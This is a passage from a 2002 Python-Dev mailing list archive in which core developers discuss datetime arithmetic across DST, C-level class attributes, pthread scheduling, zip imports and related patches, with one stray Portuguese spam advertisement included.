implementation strategy for the PEP, but I believe it would be wise if
this were adopted as a standard feature rather than something users
need to configure explicitly.

You bring up one important point that AFAIK isn't addressed by the
PEP: when text is presented to the parser in the form of an 8-bit
string object, should an encoding cookie be honored if present?  I'd
say yes.  When a Unicode string is presented, encoding cookies should
be ignored, of course.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar  4 14:41:46 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 04 Mar 2002 09:41:46 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Mon, 04 Mar 2002 09:24:25 EST."
 <Pine.LNX.4.44.0203040902520.16356-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0203040902520.16356-100000@penguin.theopalgroup.com>
Message-ID: <200203041441.g24Efl227353@pcp742651pcs.reston01.va.comcast.net>

> > [Guido]
> > Then I propose to remove the feature of automatic mixing
> > int/long/float and datetime or timedelta instances in add/subtract
> > operations.  You'll have to specify what you want using a
> > timedelta(days, seconds) constructor.  That's clearer anyway.

[Kevin]
> I much prefer this.  My own datetime object uses a syntax like this:
> 
>   t = t + Delta(days=1,minutes=-5,seconds=5)

I'm considering such an extension to the timedelta() constructor too.

> > > However, lets be clear; is t=t+1 adding 1 (calendar) day or 24 hours
> > > (86400 seconds)?
> > 
> > How does it differ?  (We already ignore leap seconds.)
> 
> The concept of a "day" can be somewhat ambiguous.  I've seen
> datetime implementations that will apply DST changes when asked to
> adjust by days, but not when asked to adjust by seconds, hours or
> minutes.  So, in the general case of a DST aware datetime object,
> 
>   t + Delta(days=1) != t + Delta(hours=24)
> 
> even when ignoring leap-seconds and other micro-adjustments.  So
> lets define adjustments by "days" for the base datetime object in
> terms of 86400.0 seconds.  A DST aware datetime subclass can then be
> made that does the more complex day-based arithmetic.

Yes.  A "day" is always 24 hours.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Mon Mar  4 15:00:09 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 4 Mar 2002 10:00:09 -0500
Subject: [Python-Dev] Unicode, again
In-Reply-To: <m3n0xobetx.fsf@pc36.avidiaasen.online.no>
References: <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
 <20020304042632.13D6FE8DA@waltz.rahul.net>
 <15490.63520.73380.61923@grendel.zope.com>
 <m3n0xobetx.fsf@pc36.avidiaasen.online.no>
Message-ID: <15491.35833.54375.593610@grendel.zope.com>

Lars Marius Garshol writes:
 > UTF-9 is a typo for UTF-8, right?

Er, you haven't seen the proposal I submitted to the Unicode
Consortium, have you?  ;-)

Seriously, just a typo.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From larsga@garshol.priv.no  Mon Mar  4 15:09:40 2002
From: larsga@garshol.priv.no (Lars Marius Garshol)
Date: 04 Mar 2002 16:09:40 +0100
Subject: [Python-Dev] Unicode, again
In-Reply-To: <15491.35833.54375.593610@grendel.zope.com>
References: <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
 <20020304042632.13D6FE8DA@waltz.rahul.net>
 <15490.63520.73380.61923@grendel.zope.com>
 <m3n0xobetx.fsf@pc36.avidiaasen.online.no>
 <15491.35833.54375.593610@grendel.zope.com>
Message-ID: <m3elj0bc97.fsf@pc36.avidiaasen.online.no>

* Lars Marius Garshol
|
| UTF-9 is a typo for UTF-8, right?

* Fred L. Drake, Jr.
| 
| Er, you haven't seen the proposal I submitted to the Unicode
| Consortium, have you?  ;-)

I suspected it might be that. The way these UTFs keep popping up like
mushrooms after rain you can never be sure. :-)

-- 
Lars Marius Garshol, Ontopian         <URL: http://www.ontopia.net >
ISO SC34/WG3, OASIS GeoLang TC        <URL: http://www.garshol.priv.no >



From paul@svensson.org  Mon Mar  4 15:32:43 2002
From: paul@svensson.org (Paul Svensson)
Date: Mon, 4 Mar 2002 10:32:43 -0500 (EST)
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <Pine.LNX.4.44.0203040902520.16356-100000@penguin.theopalgroup.com>
Message-ID: <Pine.LNX.4.21.0203041007180.721-100000@familjen.svensson.org>

On Mon, 4 Mar 2002, Kevin Jacobs wrote:

>The concept of a "day" can be somewhat ambiguous.  I've seen datetime
>implementations that will apply DST changes when asked to adjust by days,
>but not when asked to adjust by seconds, hours or minutes.  So, in the general
>case of a DST aware datetime object,
>
>  t + Delta(days=1) != t + Delta(hours=24)
>
>even when ignoring leap-seconds and other micro-adjustments.  So lets define
>adjustments by "days" for the base datetime object in terms of 86400.0
>seconds.  A DST aware datetime subclass can then be made that does the more
>complex day-based arithmetic.

Or, someone implementing datetime as (julian: integer, seconds: float)
might prefer to let adjustment by "days" be in terms of 1 day.  A DST aware
datetime subclass can then be made that does the more complex time-based
arithmetic.

	/Paul



From barry@zope.com  Mon Mar  4 15:36:57 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 4 Mar 2002 10:36:57 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net>
 <3C82332D.76B86CB6@metaslash.com>
 <200203032005.g23K52w25153@pcp742651pcs.reston01.va.comcast.net>
 <3C835248.DCC717AA@lemburg.com>
 <200203041302.g24D2Gw26869@pcp742651pcs.reston01.va.comcast.net>
 <3C837BB3.CF23D07B@lemburg.com>
Message-ID: <15491.38041.212899.686587@anthem.wooz.org>

>>>>> "MAL" == M  <mal@lemburg.com> writes:


    MAL> 	DateTime + n: add n days (each having 86400.0 seconds,
    MAL> so fractions are possible too)

    MAL> 	DateTimeDelta + n: add n seconds

That strikes me as rules that will be impossible to keep straight,
especially for casual use.

-Barry


From gsw@agere.com  Mon Mar  4 15:43:40 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Mon, 4 Mar 2002 10:43:40 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEAIOAAA.tim@zope.com>
Message-ID: <GBEGLOMMCLDACBPKDIHFOEFJCHAA.gsw@agere.com>

Tim Peters [mailto:tim@zope.com] wrote:
> They could be hugely better on Linux, but I don't know:  there's anecdotal
> evidence that Linux scheduling of threads competing for a mutex can get
> itself into a vastly unfair state.  Provided Linux implements semaphores
> properly, sempahore contention can be tweaked (and Python should do so), as
> befits a realtime gimmick, to guarantee fairness (SCHED_FIFO and SCHED_RR).

I submitted patch request 525532 that will enable semaphore
use in thread_pthread.h if _POSIX_SEMAPHORES is defined. It
includes proper checking of error codes and looping if EINTR
is received (as you rightly pointed out). I didn't add any
specific checks for a keyboard interrupt. Checks could be
added in the loop for specific platforms as needed.

I'm not sure if this is an issue anyway. To quote the POSIX
standard (ISO/IEC 9945-l: 1996 aka ANSI/IEEE Std 1003.1, 1996
Edition):
 If a signal is delivered to a thread waiting for a mutex,
 upon return from the signal handler the thread shall resume
 waiting for the mutex as if it was not interrupted.
and:
 If a signal is delivered to a thread waiting for a condition
 variable, upon return from the signal handler the thread shall
 resume waiting for the condition variable as if it was not
 interrupted, or it shall return zero due to spurious wakeup.

(Spurious wakeup of cond_wait is another whole can of worms.)

-----

I haven't done much mucking around with scheduling policies
under UNIX, but the only portable way I found to modify the
way semaphores contend is to change the thread scheduling
policy.

I have a patchfile for that as well. It mostly boils down
to adding the following code before the thread is created:

#ifdef USE_EXPLICIT_SCHED
    pthread_attr_setinheritsched(&attrs, PTHREAD_EXPLICIT_SCHED);
#ifdef PTHREAD_THREAD_RR_SCHED_POLICY_SUPPORTED
    pthread_attr_setschedpolicy(&attrs, SCHED_RR);
#else /* PTHREAD_THREAD_FIFO_SCHED_POLICY_SUPPORTED */
    pthread_attr_setschedpolicy(&attrs, SCHED_FIFO);
#endif
#endif

Although as you see it requires some code to decide whether
to use explicit round-robin or FIFO scheduling at all. Not
all platforms allow SCHED_RR to be supported. This probably
ought to be determined in the configure script. I created
the PTHREAD_THREAD_*_SCHED_POLICY_SUPPORTED defines as a
way to specify this.

I think this should be treated as a separate patch, since
the current code doesn't specify any scheduling policies.

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From guido@python.org  Mon Mar  4 16:05:21 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 04 Mar 2002 11:05:21 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Mon, 04 Mar 2002 10:36:57 EST."
 <15491.38041.212899.686587@anthem.wooz.org>
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net> <3C82332D.76B86CB6@metaslash.com> <200203032005.g23K52w25153@pcp742651pcs.reston01.va.comcast.net> <3C835248.DCC717AA@lemburg.com> <200203041302.g24D2Gw26869@pcp742651pcs.reston01.va.comcast.net> <3C837BB3.CF23D07B@lemburg.com>
 <15491.38041.212899.686587@anthem.wooz.org>
Message-ID: <200203041605.g24G5Ls27714@pcp742651pcs.reston01.va.comcast.net>

Discussion over.  I've removed the ability to add plain numbers to
datetime and timedelta objects.  I'll add the ability to create a
timedelta from a floating point number of days, seconds or
microseconds though.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From outros@kyky.zzn.com  Mon Mar  4 16:22:30 2002
From: outros@kyky.zzn.com (Bordeaux Buffet)
Date: Mon, 4 Mar 2002 13:22:30 -0300
Subject: [Python-Dev] Não Compre... Alugue!
Message-ID: <E16hvB1-0005WW-00@mail.python.org>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
	<title>Não Compre... Alugue!</title>
</head>

<body bgcolor="000000">
<hr size="2" width="250" noshade>
<center>
<a href="http://www.bordeaux.com.br"><img
src="http://www.bordeaux.com.br/logop.jpg" border="0">
<br>
<font face="arial" color="#ffffff" size="5">:: Bordeaux Buffet ::</font>
<br>
<font color="#ffffff" size="4">Aluguel de Materiais para festas.</font>
<br>
<br>
<font color="#ffffff">Alugue todo o material para o seu evento!</font>
<br>
<br>
<font color="#ffffff" size="4">Cadeiras - Mesas - Toalhas - Copos - Talheres
- Pratos - Baixelas - Rechaud - Samovar - Estufa e muito mais!!!</font>
<br>
<br>
<font color="#ffffff" size="4">São mais de 1000 itens a sua escolha.
Entregamos em todo o território nacional!</font>
<br>
<br>
<font color="#ffffff" size="4">Fornecemos gelo em cubo, barra e
triturado.</font>
<br>
<br>
<font color="#ffff00" size="3">www.bordeaux.com.br</font>
<br>
<br>
<font color="#0000ff" size="3">Para retirar seu nome de nossa lista de
e-mails, 
retorne este e-mail com o Subject ( Assunto ) = Remover</font>
<br>
<font color="#000fff" size="3">Esta mensagem é enviada de acordo com a nova
legislação sobre correio eletrônico, Seção 301, Parágrafo (a) (2) (c) Decreto
S. 1618, Título Terceiro aprovado pelo "105 Congresso Base das Normativas
Internacionais sobre o SPAM". Este E-mail não poderá ser considerado SPAM
quando inclua uma forma de ser removido.</font>

</a>
</center>

</body>
</html>


From martin@v.loewis.de  Mon Mar  4 22:01:59 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 04 Mar 2002 23:01:59 +0100
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <GBEGLOMMCLDACBPKDIHFOEFJCHAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFOEFJCHAA.gsw@agere.com>
Message-ID: <m3zo1ogffs.fsf@mira.informatik.hu-berlin.de>

"Gerald S. Williams" <gsw@agere.com> writes:

> I think this should be treated as a separate patch, since
> the current code doesn't specify any scheduling policies.

Indeed. Also, on some systems, certain priviledges are needed to
establish a scheduling policy. So I think this should *not*
automatically be activated.

Regards,
Martin


From tim.one@comcast.net  Tue Mar  5 03:43:03 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 04 Mar 2002 22:43:03 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203041441.g24Efl227353@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEGAOBAA.tim.one@comcast.net>

[Kevin Jacobs]
>> ..
>> The concept of a "day" can be somewhat ambiguous.  I've seen
>> datetime implementations that will apply DST changes when asked to
>> adjust by days, but not when asked to adjust by seconds, hours or
>> minutes.

[Guido]
> Yes.  A "day" is always 24 hours.

In real life, if it's 3pm on the day before DST begins or ends, and I count
off 24 hours, "one one thousand, two one thousand, three one thousand, ...
eighty six thousand four hundred one thousand", I'm going to look up and see
2pm or 4pm on my high-tech auto-adjusting clocks.  If I add 24 hours to my
datetime object, though, I'm going to see 3pm.

The only conclusion I have at this time is that I like datetime objects
better than real life <wink>.



From guido@python.org  Tue Mar  5 03:53:45 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 04 Mar 2002 22:53:45 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Mon, 04 Mar 2002 22:43:03 EST."
 <LNBBLJKPBEHFEDALKOLCCEGAOBAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEGAOBAA.tim.one@comcast.net>
Message-ID: <200203050353.g253rjW30585@pcp742651pcs.reston01.va.comcast.net>

> [Guido]
> > Yes.  A "day" is always 24 hours.

[Tim]
> In real life, if it's 3pm on the day before DST begins or ends, and
> I count off 24 hours, "one one thousand, two one thousand, three one
> thousand, ...  eighty six thousand four hundred one thousand", I'm
> going to look up and see 2pm or 4pm on my high-tech auto-adjusting
> clocks.  If I add 24 hours to my datetime object, though, I'm going
> to see 3pm.
> 
> The only conclusion I have at this time is that I like datetime
> objects better than real life <wink>.

Depends on how you look.  If you look at the hour attribute, or call
the isoformat() method, or use str(), you'll see 3pm.  If you ask the
ctime() or timetuple() methods, it converts to local time, and you'll
see 2pm or 4pm!

This deserves a caution: what starts off as a time in the local
timezone, may end up not being the local time zone when time is added
going across a DST transition.  Certain methods always convert to
local time; others don't.  This can be confusing.  How can we fix
this?  Maybe we need yet another datetime type that measures "wall
clock time"???

Gosh, time computations are full of surprises, even of you disregard
the Julian calendar and leap seconds. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Tue Mar  5 05:08:48 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Tue, 5 Mar 2002 00:08:48 -0500
Subject: [Python-Dev] setting class attributes from C?
Message-ID: <15492.21216.923551.642369@grendel.zope.com>

Has anyone tried setting class attributes on a new-style class in C?
The file sandbox/datetime/datetime.py has code that does this:

class datetime(basetime):
    ...

datetime.min = datetime(...)
datetime.max = datetime(...)

I can easily add descriptors in the C version so that min and max are
defined on instances, but using PyObject_SetAttrString() using the new
class:

    tmp = create_datetime(...);
    if (datetime_min == NULL)
        return;
    if (PyObject_SetAttrString((PyObject *) &PyDateTime_Type,
                               "min", datetime_min) < 0)
        return;

produces this exception:

Traceback (most recent call last):
  File "test_cdatetime.py", line 9, in ?
    from _datetime import datetime, MINYEAR, MAXYEAR
TypeError: can't set attributes of built-in/extension type 'datetime.datetime'

(where _datetime is the C extension that implements the C version of
the type).

Any ideas?


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Tue Mar  5 05:18:27 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 05 Mar 2002 00:18:27 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203050353.g253rjW30585@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEGHOBAA.tim.one@comcast.net>

[Guido]
> Depends on how you look.  If you look at the hour attribute, or call
> the isoformat() method, or use str(), you'll see 3pm.  If you ask the
> ctime() or timetuple() methods, it converts to local time, and you'll
> see 2pm or 4pm!

I confess I never understood C's baroque timezone and DST gimmicks.  I think
I can understand the words, but they always surprised me when I tried to use
them.

>>> from datetime import datetime
>>> x = datetime(2000, 1, 1, tzoffset=60*12)
>>> print x
2000-01-01 00:00:00.000000+12:00

That's cool.  So is this:

>>> print x.utcctime()
Fri Dec 31 12:00:00 1999

The next two had me scratching my head for an hour <-0500 wink>:

>>> print x.ctime()
Fri Dec 31 07:00:00 1999
>>> print x.timetuple()
(1999, 12, 31, 7, 0, 0, 4, 365, 0)
>>>

I'm not sure the base datetime class should be in the timezone or DST
businesses at all, because there are sooooo many ways people might want to
see them done.  If we are in that business, though, I think I'd rather cut
the number of distinct methods, and have e.g. all-purpose .ctime(arg) and
.timetuple(arg) etc methods, where arg specifies whether you want to get
back the time exactly as stored, converted to UTC, or converted to local
time.  Maybe that should even be a general tzoffset-in-minute argument,
which special values outside of -1439..1439 predefined via symbolic name to
mean "as stored, UTC, or local".  Then 0 would be synonymous with "as
stored", I guess.  The natural meaning of the sign bit escapes me ...

> This deserves a caution: what starts off as a time in the local
> timezone, may end up not being the local time zone when time is added
> going across a DST transition.  Certain methods always convert to
> local time; others don't.  This can be confusing.  How can we fix
> this?  Maybe we need yet another datetime type that measures "wall
> clock time"???

If anything, the current prototype is trying to do too much, although it's a
mere fraction of what people will want.

> Gosh, time computations are full of surprises, even of you disregard
> the Julian calendar and leap seconds. :-(

I'll lend you "Calendrical Calculations".  Even *skimming* the chapters on
some of the world's other calendrical delights makes our date gimmicks blind
via the intensity of their clarity <blink>.



From jeremy@zope.com  Tue Mar  5 05:19:30 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Tue, 05 Mar 2002 00:19:30 -0500
Subject: [Python-Dev] setting class attributes from C?
In-Reply-To: <15492.21216.923551.642369@grendel.zope.com>
Message-ID: <web-3662011@digicool.com>

On Tue, 5 Mar 2002 00:08:48 -0500
 "Fred L. Drake, Jr." <fdrake@acm.org> wrote:
> 
> Has anyone tried setting class attributes on a new-style
> class in C?
> The file sandbox/datetime/datetime.py has code that does
> this:
> 
> class datetime(basetime):
>     ...
> 
> datetime.min = datetime(...)
> datetime.max = datetime(...)

Funny you should ask.  Guido and I were just chatting about
this problem this morning.

I think we concluded that the cleanest way to add attributes
to an extension type is to create a subclass in Python:

import _datetime

class datetime(_datetime):
    pass

datetime.min = datetime(...)

You can add attributes to the Python class in Python.

If you really want to do it in C, take a look at Zope3's
Persistence.cPersistence.  After it calls PyType_Ready(), it
adds items to the type's tp_dict slot.

Jeremy


From David Abrahams" <david.abrahams@rcn.com  Tue Mar  5 05:38:28 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 5 Mar 2002 00:38:28 -0500
Subject: [Python-Dev] setting class attributes from C?
References: <15492.21216.923551.642369@grendel.zope.com>
Message-ID: <03b601c1c407$fb587ca0$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "Fred L. Drake, Jr." <fdrake@acm.org>
To: <python-dev@python.org>
Sent: Tuesday, March 05, 2002 12:08 AM
Subject: [Python-Dev] setting class attributes from C?


>
> Has anyone tried setting class attributes on a new-style class in C?

Yes, Boost.Python V2 does this without any problems. Of course, I'm
using PyObject_SetAttr rather than PyObject_SetAttrString (not that that
should make any difference).

-Dave




From martin@v.loewis.de  Tue Mar  5 06:46:09 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 05 Mar 2002 07:46:09 +0100
Subject: [Python-Dev] inet_addr usage in Modules/socketmodule.c?
In-Reply-To: <15487.45221.722045.390829@12-248-41-177.client.attbi.com>
References: <15487.45221.722045.390829@12-248-41-177.client.attbi.com>
Message-ID: <m37korfr66.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> Your thoughts?

I'd agree that inet_aton should be use if available; autoconf is
capable of finding that out. I do not think that the platform
INADDR_NONE should be changed if available. On this specific platform,
there seems to be a bug: INADDR_NONE is 0xffffffff, yet inet_addr
returns -1. According to my Linux manpage, inet_addr ought to return
INADDR_NONE on failure, so that should be defined as (or the return
value of inet_addr should be different).

I guess most people share the problem of having no access to an SX
installation, so if anything is done about this, the original poster
would have to come up with a patch.

Regards,
Martin


From fdrake@acm.org  Tue Mar  5 04:24:13 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Mon,  4 Mar 2002 23:24:13 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020305042413.3598528696@beowolf.fdrake.net>

The development version of the documentation has been updated:

    http://python.sourceforge.net/devel-docs/

Minor accumulated updates.


From mal@lemburg.com  Tue Mar  5 09:09:58 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 05 Mar 2002 10:09:58 +0100
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <LNBBLJKPBEHFEDALKOLCCEGAOBAA.tim.one@comcast.net> <200203050353.g253rjW30585@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C848B66.4B5F932C@lemburg.com>

Guido van Rossum wrote:
> 
> > [Guido]
> > > Yes.  A "day" is always 24 hours.
> 
> [Tim]
> > In real life, if it's 3pm on the day before DST begins or ends, and
> > I count off 24 hours, "one one thousand, two one thousand, three one
> > thousand, ...  eighty six thousand four hundred one thousand", I'm
> > going to look up and see 2pm or 4pm on my high-tech auto-adjusting
> > clocks.  If I add 24 hours to my datetime object, though, I'm going
> > to see 3pm.
> >
> > The only conclusion I have at this time is that I like datetime
> > objects better than real life <wink>.
> 
> Depends on how you look.  If you look at the hour attribute, or call
> the isoformat() method, or use str(), you'll see 3pm.  If you ask the
> ctime() or timetuple() methods, it converts to local time, and you'll
> see 2pm or 4pm!

You should forget about DST if you want a sane 
implementation. Same for leap seconds.
 
> This deserves a caution: what starts off as a time in the local
> timezone, may end up not being the local time zone when time is added
> going across a DST transition.  Certain methods always convert to
> local time; others don't.  This can be confusing.  How can we fix
> this?  Maybe we need yet another datetime type that measures "wall
> clock time"???

You should be very careful not to make all of this too
confusing by trying to put everything into one bag.

If someone wants DST and timezone aware time differences,
then this is a completely different concept than taking the
difference w/r to number of days.

Just to hint at another problem: you sometimes want to
know the time difference of two dates in terms of
years, months, days, hours, etc. that is, you are not
interested in 86400 second days, but in calendar days
or even months. For months you'll run into problems
with non-existing days, e.g. for 2002-03-31 - 1 month.

> Gosh, time computations are full of surprises, even of you disregard
> the Julian calendar and leap seconds. :-(

Hehe, I had the same impression when I started with mxDateTime.
At first, it seemed like a simple write up, but once I got
into the details, things started to become very confusing.

In my implementation, I decided to use mathematical model
for the representation and to leave most of the complex
stuff to interface methods.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From thomas.heller@ion-tof.com  Tue Mar  5 10:25:12 2002
From: thomas.heller@ion-tof.com (Thomas Heller)
Date: Tue, 5 Mar 2002 11:25:12 +0100
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
References: <3C7E3ADC.DCED6D15@lemburg.com>        <3C7E0CAB.19066.47536147@localhost> <15486.22442.738570.615670@beluga.mojam.com> <3C7E62A3.5090404@interet.com>
Message-ID: <04c701c1c430$0903c1c0$e000a8c0@thomasnotebook>

[bootstrapping an importer]
> > What do strop or string provide that string methods don't?  It's likely that
> > if you needed to import either in the past, you don't need to now.
> 
> 
> The real problem isn't the string module, it is the os module.  Any
> importer will need this.  The usual hack is to duplicate its logic
> in the my_importer module.  That is, the selection of the correct
> builtin os functions.

Couldn't this be solved in the same way that made the string
module obsolete?
I mean, move the functionality from the os module into
methods of file objects (or class methods of the file type)?

Example:
file.stat(pathname) instead of os.stat(pathname)

Thomas



From jacobs@penguin.theopalgroup.com  Tue Mar  5 11:58:38 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 5 Mar 2002 06:58:38 -0500 (EST)
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <3C848B66.4B5F932C@lemburg.com>
Message-ID: <Pine.LNX.4.44.0203050640470.3006-100000@penguin.theopalgroup.com>

On Tue, 5 Mar 2002, M.-A. Lemburg wrote:
> > [Tim]
> > > The only conclusion I have at this time is that I like datetime
> > > objects better than real life <wink>.
> > [Guido]
> > Depends on how you look.  If you look at the hour attribute, or call
> > the isoformat() method, or use str(), you'll see 3pm.  If you ask the
> > ctime() or timetuple() methods, it converts to local time, and you'll
> > see 2pm or 4pm!
> [MAL]
> You should forget about DST if you want a sane 
> implementation. Same for leap seconds.

My datetime objects manage these complexities by layering their
implementation.  Our base class stores a time since epoch and a timezone
offset.  It implements all the arithmetic functions based on 1day=24hours
and has methods that re-normalize the timezone to a fixed offset after every
modifying operation.  It also has a translate(tzoffset) function that
returns the an adjusted time since epoch with a different timezone offset. 
This way, our client applications _never_ deal with DST or timezone changes
unless they request it.

For calculations that require DST awareness, of which there are a surprising
number, we have a datetime sub-class that adds two extra modes:

  1) Fixed tzoffset (from base datetime)

  2) Fixed tzoffset +/- fixed DST adjustment based on current time since
     epoch (folds in to case 1 after initialization)

  3) Fixed tzoffset +/- dynamic DST based on stored time since epoch
     (dynamically updates after every mutating date operation)

> If someone wants DST and timezone aware time differences,
> then this is a completely different concept than taking the
> difference w/r to number of days.

Precisely.  Our implementation is sub-optimal in that it can do roughly
twice as much work as necessary at times.  This is because we layer the DST
adjustments on top of the datetime object.  The advantage to this approach
is that the code is very cleanly segregated between DST agnostic code and
DST pathological code.

> Just to hint at another problem: you sometimes want to
> know the time difference of two dates in terms of
> years, months, days, hours, etc. that is, you are not
> interested in 86400 second days, but in calendar days
> or even months. For months you'll run into problems
> with non-existing days, e.g. for 2002-03-31 - 1 month.

We handle these cases with a business logic layer on top of the DST aware
datetime object.  It handles exceptions thrown, like BeyondEndOfMonthError,
and takes the appropriate action.  In the case of BeyondEndOfMonthError, the
typical resolution is to set the day to the last day of the month.

-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com




From guido@python.org  Tue Mar  5 13:04:27 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 05 Mar 2002 08:04:27 -0500
Subject: [Python-Dev] setting class attributes from C?
In-Reply-To: Your message of "Tue, 05 Mar 2002 00:08:48 EST."
 <15492.21216.923551.642369@grendel.zope.com>
References: <15492.21216.923551.642369@grendel.zope.com>
Message-ID: <200203051304.g25D4Rb31614@pcp742651pcs.reston01.va.comcast.net>

> Has anyone tried setting class attributes on a new-style class in C?
> The file sandbox/datetime/datetime.py has code that does this:
> 
> class datetime(basetime):
>     ...
> 
> datetime.min = datetime(...)
> datetime.max = datetime(...)
> 
> I can easily add descriptors in the C version so that min and max are
> defined on instances, but using PyObject_SetAttrString() using the new
> class:
> 
>     tmp = create_datetime(...);
>     if (datetime_min == NULL)
>         return;
>     if (PyObject_SetAttrString((PyObject *) &PyDateTime_Type,
>                                "min", datetime_min) < 0)
>         return;
> 
> produces this exception:
> 
> Traceback (most recent call last):
>   File "test_cdatetime.py", line 9, in ?
>     from _datetime import datetime, MINYEAR, MAXYEAR
> TypeError: can't set attributes of built-in/extension type 'datetime.datetime'
> 
> (where _datetime is the C extension that implements the C version of
> the type).

Type objects declared statically (as a pre-initialized static or
global C struct) are considered immutable.

If you want to modify the dict during module initialization in C, you
can access it as the tp_dict member of the type object.  It is
initialized by PyType_Ready().

The subclass trick that Jeremy mentioned is good if you need to do it
in Python.

I think it works David Abraham because he has a custom metaclass; this
approach doesn't apply to adding types to the core language.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Mar  5 13:25:24 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 05 Mar 2002 08:25:24 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
In-Reply-To: Your message of "Tue, 05 Mar 2002 11:25:12 +0100."
 <04c701c1c430$0903c1c0$e000a8c0@thomasnotebook>
References: <3C7E3ADC.DCED6D15@lemburg.com> <3C7E0CAB.19066.47536147@localhost> <15486.22442.738570.615670@beluga.mojam.com> <3C7E62A3.5090404@interet.com>
 <04c701c1c430$0903c1c0$e000a8c0@thomasnotebook>
Message-ID: <200203051325.g25DPOS31806@pcp742651pcs.reston01.va.comcast.net>

> I mean, move the functionality from the os module into
> methods of file objects (or class methods of the file type)?
> 
> Example:
> file.stat(pathname) instead of os.stat(pathname)

Cool -- for Python 3000.  Write a PEP!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Tue Mar  5 15:35:11 2002
From: mwh@python.net (Michael Hudson)
Date: 05 Mar 2002 15:35:11 +0000
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib robotparser.py,1.10,1.11
In-Reply-To: "Martin v. L?wis"'s message of "Thu, 28 Feb 2002 07:24:49 -0800"
References: <E16gSQL-0008WB-00@usw-pr-cvs1.sourceforge.net>
Message-ID: <2m3czfyqmo.fsf@starship.python.net>

"Martin v. L?wis" <loewis@users.sourceforge.net> writes:

> Update of /cvsroot/python/python/dist/src/Lib
> In directory usw-pr-cvs1:/tmp/cvs-serv31559/Lib
> 
> Modified Files:
> 	robotparser.py 
> Log Message:
> Correct various errors: 
> - Use substring search, not re search for user-agent and paths. 
> - Consider * entry last. Unquote, then requote URLs. 
> - Treat empty Disallow as "allow everything". 
> Add test cases. Fixes #523041

I can't tell and Martin's not sure whether this is appropriate for the
2.2.1 branch.  What do others think?

Cheers,
M.

-- 
  Some people say that a monkey would bang out the complete works
  of Shakespeare on a typewriter give an unlimited amount of time.
  In the meantime, what they would probably produce is a valid
  sendmail configuration file.                    -- Nicholas Petreley


From aahz@rahul.net  Tue Mar  5 15:46:22 2002
From: aahz@rahul.net (Aahz Maruch)
